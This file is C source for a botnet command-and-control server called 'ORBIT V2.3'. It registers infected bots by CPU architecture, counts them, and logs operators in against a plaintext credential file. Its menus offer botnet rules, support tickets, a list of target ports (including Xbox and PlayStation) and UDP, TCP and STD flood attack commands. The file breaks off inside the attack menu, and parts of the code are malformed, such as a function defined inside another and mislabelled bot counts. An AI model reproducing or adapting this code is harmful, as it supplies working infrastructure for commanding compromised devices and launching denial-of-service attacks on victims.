//Made By vgxop and
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <arpa/inet.h>
#define MAXFDS 1000000
//ORBIT V2.3 Arch-Detect Edition.                                                                                                                             
struct login_info {
	char username[100];
	char password[100];
};
static struct login_info accounts[100];
struct clientdata_t {
	    uint32_t ip;
		char x86;
		char mips;
		char arm4;
		char arm7;
		char spc;
		char ppc;
		char sh4;
	char connected;
} clients[MAXFDS];
struct telnetdata_t {
    int connected;
} managements[MAXFDS];
struct args {
    int sock;
    struct sockaddr_in cli_addr;
};
static volatile FILE *telFD;
static volatile FILE *fileFD;
static volatile FILE *ticket;
static volatile FILE *staff;
static volatile int epollFD = 0;
static volatile int listenFD = 0;
static volatile int OperatorsConnected = 0;
static volatile int TELFound = 0;
static volatile int scannerreport;
static volatile int DUPESDELETED = 0;

int fdgets(unsigned char *buffer, int bufferSize, int fd) {
	int total = 0, got = 1;
	while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
	return got;
}
void trim(char *str) {
	int i;
    int begin = 0;
    int end = strlen(str) - 1;
    while (isspace(str[begin])) begin++;
    while ((end >= begin) && isspace(str[end])) end--;
    for (i = begin; i <= end; i++) str[i - begin] = str[i];
    str[i - begin] = '\0';
}
static int make_socket_non_blocking (int sfd) {
	int flags, s;
	flags = fcntl (sfd, F_GETFL, 0);
	if (flags == -1) {
		perror ("fcntl");
		return -1;
	}
	flags |= O_NONBLOCK;
	s = fcntl (sfd, F_SETFL, flags);
    if (s == -1) {
		perror ("fcntl");
		return -1;
	}
	return 0;
}
static int create_and_bind (char *port) {
	struct addrinfo hints;
	struct addrinfo *result, *rp;
	int s, sfd;
	memset (&hints, 0, sizeof (struct addrinfo));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = AI_PASSIVE;
    s = getaddrinfo (NULL, port, &hints, &result);
    if (s != 0) {
		fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
		return -1;
	}
	for (rp = result; rp != NULL; rp = rp->ai_next) {
		sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
		if (sfd == -1) continue;
		int yes = 1;
		if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
		s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
		if (s == 0) {
			break;
		}
		close (sfd);
	}
	if (rp == NULL) {
		fprintf (stderr, "Could not bind\n");
		return -1;
	}
	freeaddrinfo (result);
	return sfd;
}
void broadcast(char *msg, int us, char *sender)
{
        int sendMGM = 1;
        if(strcmp(msg, "PING") == 0) sendMGM = 0;
        char *wot = malloc(strlen(msg) + 10);
        memset(wot, 0, strlen(msg) + 10);
        strcpy(wot, msg);
        trim(wot);
        time_t rawtime;
        struct tm * timeinfo;
        time(&rawtime);
        timeinfo = localtime(&rawtime);
        char *timestamp = asctime(timeinfo);
        trim(timestamp);
        int i;
        for(i = 0; i < MAXFDS; i++)
        {
                if(i == us || (!clients[i].connected)) continue;
                if(sendMGM && managements[i].connected)
                {
                        send(i, "\x1b[1;31m", 9, MSG_NOSIGNAL);
                        send(i, sender, strlen(sender), MSG_NOSIGNAL);
                        send(i, ": ", 2, MSG_NOSIGNAL); 
                }
                send(i, msg, strlen(msg), MSG_NOSIGNAL);
                send(i, "\n", 1, MSG_NOSIGNAL);
        }
        free(wot);
}
void *BotEventLoop(void *useless)
{
	struct epoll_event event;
	struct epoll_event *events;
	int s;
	events = calloc(MAXFDS, sizeof event);
	while (1)
	{
		int n, i;
		n = epoll_wait(epollFD, events, MAXFDS, -1);
		for (i = 0; i < n; i++)
		{
			if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
			{
				clients[events[i].data.fd].connected = 0;
				clients[events[i].data.fd].arm4 = 0;
				clients[events[i].data.fd].arm7 = 0;
				clients[events[i].data.fd].mips = 0;
				clients[events[i].data.fd].x86 = 0;
				clients[events[i].data.fd].spc = 0;
				clients[events[i].data.fd].ppc = 0;
				clients[events[i].data.fd].sh4 = 0;
				close(events[i].data.fd);
				continue;
			}
			else if (listenFD == events[i].data.fd)
			{
				while (1)
				{
					struct sockaddr in_addr;
					socklen_t in_len;
					int infd, ipIndex;

					in_len = sizeof in_addr;
					infd = accept(listenFD, &in_addr, &in_len);
					if (infd == -1)
					{
						if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
						else
						{
							perror("accept");
							break;
						}
					}

					clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;

					int dup = 0;
					for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
					{
						if (!clients[ipIndex].connected || ipIndex == infd) continue;

						if (clients[ipIndex].ip == clients[infd].ip)
						{
							dup = 1;
							break;
						}
					}

					if (dup)
					{
						DUPESDELETED++;
						continue;
					}

					s = make_socket_non_blocking(infd);
					if (s == -1) { close(infd); break; }

					event.data.fd = infd;
					event.events = EPOLLIN | EPOLLET;
					s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event);
					if (s == -1)
					{
						perror("epoll_ctl");
						close(infd);
						break;
					}

					clients[infd].connected = 1;
					send(infd, "~ SC ON\n", 9, MSG_NOSIGNAL);

				}
				continue;
			}
			else
			{
				int thefd = events[i].data.fd;
				struct clientdata_t *client = &(clients[thefd]);
				int done = 0;
				client->connected = 1;
				client->arm4 = 0;
				client->arm7 = 0;
				client->mips = 0;
				client->sh4 = 0;
				client->x86 = 0;
				client->spc = 0;
				client->ppc = 0;
				while (1)
				{
					ssize_t count;
					char buf[2048];
					memset(buf, 0, sizeof buf);

					while (memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
					{
						if (strstr(buf, "\n") == NULL) { done = 1; break; }
						trim(buf);
						if (strcmp(buf, "PING") == 0) {
							if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
							continue;
						}
										        if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mx86_64\x1b[0m ]") == buf)
												{
													client->x86 = 1;
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mx86_32\x1b[0m ]") == buf)
												{
													client->x86 = 1;
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mMIPS\x1b[0m ]") == buf)
												{
													client->mips = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mMPSL\x1b[0m ]") == buf)
												{
													client->mips = 1; 
												}
												if(strstr(buf, "BUILD MIPS") == buf)
												{
													client->mips = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mSH4\x1b[0m ]") == buf)
												{
													client->sh4 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mM68K\x1b[0m ]") == buf)
												{
													client->spc = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mxIDK\x1b[0m ]") == buf)
												{
													client->sh4 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mARM4\x1b[0m ]") == buf)
												{
													client->arm4 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mARM5\x1b[0m ]") == buf)
												{
													client->arm7 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mARM6\x1b[0m ]") == buf)
												{
													client->arm7 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mARM7\x1b[0m ]") == buf)
												{
													client->arm7 = 1; 
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mppc\x1b[0m ]") == buf)
												{
													client->ppc = 1;
												}
												if(strstr(buf, "BUILD RAZER") == buf)
												{
													client->ppc = 1;
												}
												if(strstr(buf, "\x1b[0m[\x1b[1;31mORBIT\x1b[0m] \x1b[0m[ \x1b[1;31mSPC\x1b[0m ]") == buf)
												{
													client->spc = 1;
												}												
						if (strcmp(buf, "PONG") == 0) {
							continue;
						}
						printf(" \"%s\"\n", buf);
					}

					if (count == -1)
					{
						if (errno != EAGAIN)
						{
							done = 1;
						}
						break;
					}
					else if (count == 0)
					{
						done = 1;
						break;
					}
				}

				if (done)
				{
					client->connected = 0;
					client->arm4 = 0;
					client->arm7 = 0;
					client->mips = 0;
					client->sh4 = 0;
					client->x86 = 0;
					client->spc = 0;
					client->ppc = 0;
					close(thefd);
				}
			}
		}
	}
}
unsigned int arm4Connected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].arm4) continue;
                total++;
        }
 
        return total;
}
unsigned int arm7Connected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].arm7) continue;
                total++;
        }
 
        return total;
}
unsigned int mipsConnected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].mips) continue;
                total++;
        }
 
        return total;
}


unsigned int x86Connected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].x86) continue;
                total++;
        }
 
        return total;
}

unsigned int spcConnected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].spc) continue;
                total++;
        }
 
        return total;
} 

unsigned int ppcConnected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].ppc) continue;
                total++;
        }
 
        return total;
}

unsigned int sh4Connected()
{
        int i = 0, total = 0;
        for(i = 0; i < MAXFDS; i++)
        {
                if(!clients[i].sh4) continue;
                total++;
        }
 
        return total;
}

unsigned int clientsConnected()
{
	int i = 0, total = 0;
	for (i = 0; i < MAXFDS; i++)
	{
		if (!clients[i].connected) continue;
		total++;
	}

	return total;
}
int Find_Login(char *str) {
    FILE *fp;
    int line_num = 0;
    int find_result = 0, find_line=0;
    char temp[512];

    if((fp = fopen("User_Info.txt", "r")) == NULL){
        return(-1);
    }
    while(fgets(temp, 512, fp) != NULL){
        if((strstr(temp, str)) != NULL){
            find_result++;
            find_line = line_num;
        }
        line_num++;
    }
    if(fp)
        fclose(fp);
    if(find_result == 0)return 0;
    return find_line;
}

void *BotWorker(void *sock) {
	int datafd = (int)sock;
	int find_line;
	OperatorsConnected++;
    pthread_t title;
    char buf[2048];
	char* username;
	char* password;
	memset(buf, 0, sizeof buf);
	char botnet[2048];
	memset(botnet, 0, 2048);
	char botcount [2048];
	memset(botcount, 0, 2048);
	char statuscount [2048];
	memset(statuscount, 0, 2048);

	FILE *fp;
	int i=0;
	int c;
	fp=fopen("User_Info.txt", "r");
	while(!feof(fp)) {
		c=fgetc(fp);
		++i;
	}
    int j=0;
    rewind(fp);
    while(j!=i-1) {
		fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
		++j;
	}	
	        char hentai[25][1024];
	    sprintf(hentai[1],"\x1b[1;34m      ▄▄▄  ▄▄▄▄· ▪  ▄▄▄▄▄\r\n");
		sprintf(hentai[2],"\x1b[1;34m▪     ▀▄ █·▐█ ▀█▪██ •██  \r\n");
		sprintf(hentai[3],"\x1b[1;34m ▄█▀▄ ▐▀▀▄ ▐█▀▀█▄▐█· ▐█.▪\r\n");
		sprintf(hentai[4],"\x1b[1;34m▐█▌.▐▌▐█•█▌██▄▪▐█▐█▌ ▐█▌·\r\n");
		sprintf(hentai[5],"\x1b[1;34m ▀█▄▀▪.▀  ▀·▀▀▀▀ ▀▀▀ ▀▀▀ \r\n");
        sprintf(hentai[6],"\x1b[1;34m         ORBIT???? V2\r\n");

		
		int h;
		for(h =0;h<21;h++)
		if(send(datafd, hentai[h], strlen(hentai[h]), MSG_NOSIGNAL) == -1) goto end;
		char clearscreen [2048];
		memset(clearscreen, 0, 2048);
		sprintf(clearscreen, "\033[1A");
		char user [5000];	
		
        sprintf(user, "\e[1;34mUsername????:\e[0m\e[30m: ");
		
		if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
        if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
        trim(buf);
		char* nickstring;
		sprintf(accounts[find_line].username, buf);
        nickstring = ("%s", buf);
        find_line = Find_Login(nickstring);
        if(strcmp(nickstring, accounts[find_line].username) == 0){
		char password [5000];
		if(send(datafd, clearscreen,   		strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
        sprintf(password, "\e[1;34mPassword????:\e[0m\e[30m: ", accounts[find_line].username);
		if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
		
        if(fdgets(buf, sizeof buf, datafd) < 1) goto end;

        trim(buf);
        if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
        memset(buf, 0, 2048);
		
        goto Banner;
        }
void *TitleWriter(void *sock) {
	int datafd = (int)sock;
    char string[2048];
    while(1) {
		memset(string, 0, 2048);
        sprintf(string, "%c]0; %d BOTS CONNECTED | PROJECT ORBIT.  %c", '\033', clientsConnected(), '\007');
        if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
		sleep(2);
		}
}		
        failed:
		if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
        goto end;

		Banner:
		pthread_create(&title, NULL, &TitleWriter, sock);
		char ascii_banner_line0   [5000];
		char ascii_banner_line1   [5000];
        char ascii_banner_line2   [5000];
        char ascii_banner_line3   [5000];
        char ascii_banner_line4   [5000];
        char ascii_banner_line5   [5000];
        char ascii_banner_line6   [5000];
        char ascii_banner_line7   [5000];
        char ascii_banner_line8   [5000];
        char ascii_banner_line9   [5000];
        char ascii_banner_line10  [5000];
        char ascii_banner_line11  [5000];

  sprintf(ascii_banner_line0,    "\033[2J\033[1;1H");		
  sprintf(ascii_banner_line1,     "\e[34m  \e[34m\r\n");
  sprintf(ascii_banner_line2,     "\e[34m                               ▄▄▄  ▄▄▄▄· ▪  ▄▄▄▄▄\e[34m\r\n");
  sprintf(ascii_banner_line3,     "\e[34m                         ▪     ▀▄ █·▐█ ▀█▪██ •██  \e[34m\r\n");
  sprintf(ascii_banner_line4,     "\e[34m                          ▄█▀▄ ▐▀▀▄ ▐█▀▀█▄▐█· ▐█.▪\e[34m\r\n");
  sprintf(ascii_banner_line5,     "\e[34m                         ▐█▌.▐▌▐█•█▌██▄▪▐█▐█▌ ▐█▌·\e[34m\r\n");
  sprintf(ascii_banner_line6,     "\e[34m                          ▀█▄▀▪.▀  ▀·▀▀▀▀ ▀▀▀ ▀▀▀ v2\e[34m\r\n");
  sprintf(ascii_banner_line7,     "\e[1;34m                        ╔═══════════════════════════╗\x1b[34m\r\n");
  sprintf(ascii_banner_line8,     "\e[1;34m                        ║+  Made By qveh & vgxop   +║\x1b[34m\r\n");
  sprintf(ascii_banner_line9,    "\e[1;34m                        ╚════╗  + Type help +  ╔════╝\x1b[34m\r\n");
  sprintf(ascii_banner_line10,    "\e[1;34m                             ╚═════════════════╝\x1b[34m\r\n");
  sprintf(ascii_banner_line11,    "\e[1;34m                     ????TikTok:@vgxop ???? TikTok:@qveh????\x1b[34m\r\n");      


  if(send(datafd, ascii_banner_line0, strlen(ascii_banner_line0), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
		while(1) {
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
		break;
		}
		pthread_create(&title, NULL, &TitleWriter, sock);
        managements[datafd].connected = 1;

		while(fdgets(buf, sizeof buf, datafd) > 0) {   
			if(strstr(buf, "port") || strstr(buf, "Port") || strstr(buf, "PORT") || strstr(buf, "ports") || strstr(buf, "Ports") || strstr(buf, "PORTS")) {
				pthread_create(&title, NULL, &TitleWriter, sock);
				char s2  [800];
				char s3  [800];
				char s4  [800];
				char s5  [800];
				char s6  [800];
				char s8  [800];
				char s9  [800];
				char sb  [800];
				char sc  [800];
				char sa  [800];
				char sm  [800];
         
                sprintf(s2,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m21\e[0m)    = \e[1;34m SFTP          \e[0m\r\n");
                sprintf(s3,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m22\e[0m)    = \e[1;34m SSH           \e[0m\r\n");         
                sprintf(s4,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m23\e[0m)    = \e[1;34m TELNET        \e[0m\r\n");
                sprintf(s5,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m25\e[0m)    = \e[1;34m SMTP          \e[0m\r\n");
                sprintf(s6,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m53\e[0m)    = \e[1;34m DNS           \e[0m\r\n");         
                sprintf(s8,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m69\e[0m)    = \e[1;34m TFTP          \e[0m\r\n");
                sprintf(s9,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m80\e[0m)    = \e[1;34m HTTP          \e[0m\r\n");
                sprintf(sb,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m443\e[0m)   = \e[1;34m HTTPS         \e[0m\r\n");
                sprintf(sc,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m3074\e[0m)  = \e[1;34m XBOX          \e[0m\r\n");
                sprintf(sa,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m5060\e[0m)  = \e[1;34m RTP           \e[0m\r\n");
                sprintf(sm,  "\e[90m PORT \e[1;34m+ \e[0m(\e[1;34m9307\e[0m)  = \e[1;34m PLAYSTATION   \e[0m\r\n");             
 
				if(send(datafd, s2,  strlen(s2),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s3,  strlen(s3),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s4,  strlen(s4),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s5,  strlen(s5),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s6,  strlen(s6),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s8,  strlen(s8),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, s9,  strlen(s9),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, sb,  strlen(sb),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, sc,  strlen(sc),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, sa,  strlen(sa),	MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, sm,  strlen(sm),	MSG_NOSIGNAL) == -1) goto end;
				
				pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}
			if(strstr(buf, "help") || strstr(buf, "HELP") || strstr(buf, "Help") || strstr(buf, "?") || strstr(buf, "command") || strstr(buf, "COMMAND")) {
				pthread_create(&title, NULL, &TitleWriter, sock);
				char hp2  [800];
				char hp3  [800];
				char hp4  [800];
				char hp5  [800];
				char hp6  [800];
				char hp7  [800];
				char hp8  [800];
				char hp9  [800];
				char hp10  [800];
				char hp11  [800];

            sprintf(hp2, "\x1b[1;34m╔══════════════════════════════════════════════╗\x1b[0m\r\n");
            if(send(datafd, hp2, strlen(hp2), 0) == -1) goto end;
            sprintf(hp3, "\x1b[1;34m║ ATTACK \x1b[34m- \x1b[0mShows Attack Commands               \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp3, strlen(hp3), 0) == -1) goto end;
            sprintf(hp4, "\x1b[1;34m║ COUNT \x1b[34m- \x1b[0mShows Count Of Bots/Users/Dups       \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp4, strlen(hp4), 0) == -1) goto end;
            sprintf(hp5, "\x1b[1;34m║ CLEAR  \x1b[34m- \x1b[0mClears Screen, Back To Banner       \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp5, strlen(hp5), 0) == -1) goto end;
            sprintf(hp6, "\x1b[1;34m║ LOGOUT \x1b[34m- \x1b[0mCloses Out Putty Session            \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp6, strlen(hp6), 0) == -1) goto end; 
            sprintf(hp7, "\x1b[1;34m║ PORTS \x1b[34m- \x1b[0mShows Ports For Use Of Attack        \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp7, strlen(hp7), 0) == -1) goto end;
            sprintf(hp8, "\x1b[1;34m║ RULES \x1b[34m- \x1b[0mShows Botnet Rules To Follow         \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp8, strlen(hp8), 0) == -1) goto end;
            sprintf(hp9, "\x1b[1;34m║ TICKET \x1b[34m- \x1b[0mOpens Ticket To Support Team        \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp9, strlen(hp9), 0) == -1) goto end;
            sprintf(hp10,"\x1b[1;34m║ IPLOOKUP \x1b[34m- \x1b[0mSearch Up There Geo Location      \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, hp10, strlen(hp10), 0) == -1) goto end;    
            sprintf(hp11,"\x1b[1;34m╚══════════════════════════════════════════════╝\x1b[0m\r\n");
            if(send(datafd, hp11, strlen(hp11), 0) == -1) goto end;    


				pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}
			if (strstr(buf, "bots") || strstr(buf, "BOTS") || strstr(buf, "botcount") || strstr(buf, "BOTCOUNT") || strstr(buf, "count") || strstr(buf, "COUNT")) {
            char mips[128];
            char sh4[128];
            char arm4[128];
            char arm7[128];
            char ppc[128];
            char x86[128];
            char spc[128];
            char ttl[128];
			
            sprintf(mips, "\x1b[1;34mORBIT????.mips \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",     mipsConnected());
            sprintf(arm4, "\x1b[1;34mORBIT????.arm4 \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",   arm4Connected());
            sprintf(arm7, "\x1b[1;34mORBIT????.arm7 \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",   arm7Connected());
            sprintf(ppc, "\x1b[1;34mORBIT????.sh4 \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",      sh4Connected());
            sprintf(x86, "\x1b[1;34mORBIT????.ppc \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",     ppcConnected());
            sprintf(spc, "\x1b[1;34mORBIT????.servers \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",     x86Connected());
            sprintf(sh4, "\x1b[1;34mORBIT????.spc \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",     spcConnected());
            sprintf(ttl, "\x1b[1;34mORBIT????.total \x1b[0m[\x1b[1;34m%d\x1b[0m]\x1b[0m\r\n",  clientsConnected());
            if(send(datafd, arm4, strlen(arm4), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, sh4, strlen(sh4), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, mips, strlen(mips), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, x86, strlen(x86), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, spc, strlen(spc), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, ppc, strlen(ppc), MSG_NOSIGNAL) == -1) goto end;
            if(send(datafd, arm7, strlen(arm7), MSG_NOSIGNAL) == -1) goto end;
			if(send(datafd, ttl, strlen(ttl), MSG_NOSIGNAL) == -1) goto end; 

			pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}			
			if(strstr(buf, "rule") || strstr(buf, "RULE") || strstr(buf, "RULE") || strstr(buf, "rules") || strstr(buf, "RULES") || strstr(buf, "Rules")) {
				pthread_create(&title, NULL, &TitleWriter, sock);
				char p2  [800];
				char p3  [800];
				char p4  [800];
				char p5  [800];

				sprintf(p2,  "\e[0m RULE 1\e[34m. \e[1;34mNO SHARING NET IP            \e[0m\r\n");
				sprintf(p3,  "\e[0m RULE 2\e[34m. \e[1;34mNO SPAMMING ATTACKS          \e[0m\r\n");
				sprintf(p4,  "\e[0m RULE 3\e[34m. \e[1;34mNO SHARING NET LOGIN INFO    \e[0m\r\n");
				sprintf(p5,  "\e[0m RULE 4\e[34m. \e[1;34mHAVE FUN BEING A ????          \e[0m\r\n");
			
				if(send(datafd, p2,  strlen(p2), MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, p3,  strlen(p3), MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, p4,  strlen(p4), MSG_NOSIGNAL) == -1) goto end;
				if(send(datafd, p5,  strlen(p5), MSG_NOSIGNAL) == -1) goto end;

		pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}
			if(strstr(buf, "TICKET") || strstr(buf, "Ticket") || strstr(buf, "ticket")) {
				char r2  [800];

				sprintf(r2,  "\e[0m . Support (NAME) (QUESTION) \e[0m\r\n");

				if(send(datafd, r2,  strlen(r2), MSG_NOSIGNAL) == -1) goto end;
                pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}
			if(strstr(buf, ". SUPPORT") || strstr(buf, ". Support") || strstr(buf, ". support")) {
                FILE *TicketOpen;
                TicketOpen = fopen("Ticket_Open.txt", "a");
			    time_t now;
			    struct tm *gmt;
			    char formatted_gmt [50];
			    char lcltime[50];
			    now = time(NULL);
			    gmt = gmtime(&now);
			    strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
                fprintf(TicketOpen, "Tech Support Open - [%s] %s\n", formatted_gmt, buf);
                fclose(TicketOpen);
                char ry1  [800];
                sprintf(ry1,  "\e[0m (Ur Slutty Complaint Has Been Open)\r\n");              
				if(send(datafd, ry1,  strlen(ry1),	MSG_NOSIGNAL) == -1) goto end;
				pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
			}
				if(strstr(buf, "attack") || strstr(buf, "ATTACK") || strstr(buf, "Attack")) {
				pthread_create(&title, NULL, &TitleWriter, sock);
				char ls2  [800];
				char ls3  [800];
				char ls4  [800];
				char ls6  [800];
				char ls8  [800];
				char lsb  [800];
				char ls9  [800];
				char lsd  [800];
				char lsq  [800];
				char lsw  [800];
						     
            sprintf(ls2, "\x1b[1;34m╔═══════════════════════════════════════════════════════════╗\x1b[0m\r\n");
            if(send(datafd, ls2, strlen(ls2), 0) == -1) goto end;
            sprintf(ls3, "\x1b[1;34m║ UDP Flood \x1b[34m- \x1b[0m. UDP   [IP] [PORT] [TIME] 32 1 1             \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, ls3, strlen(ls3), 0) == -1) goto end;
            sprintf(ls4, "\x1b[1;34m║ TCP Flood \x1b[34m- \x1b[0m. ALPHA [IP] [PORT] [TIME] 32 all 1 1         \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, ls4, strlen(ls4), 0) == -1) goto end;
            sprintf(ls6, "\x1b[1;34m║ RHex STD  \x1b[34m- \x1b[0m. STD   [IP] [PORT] [TIME]                    \x1b[1;34m║\x1b[0m\r\n");
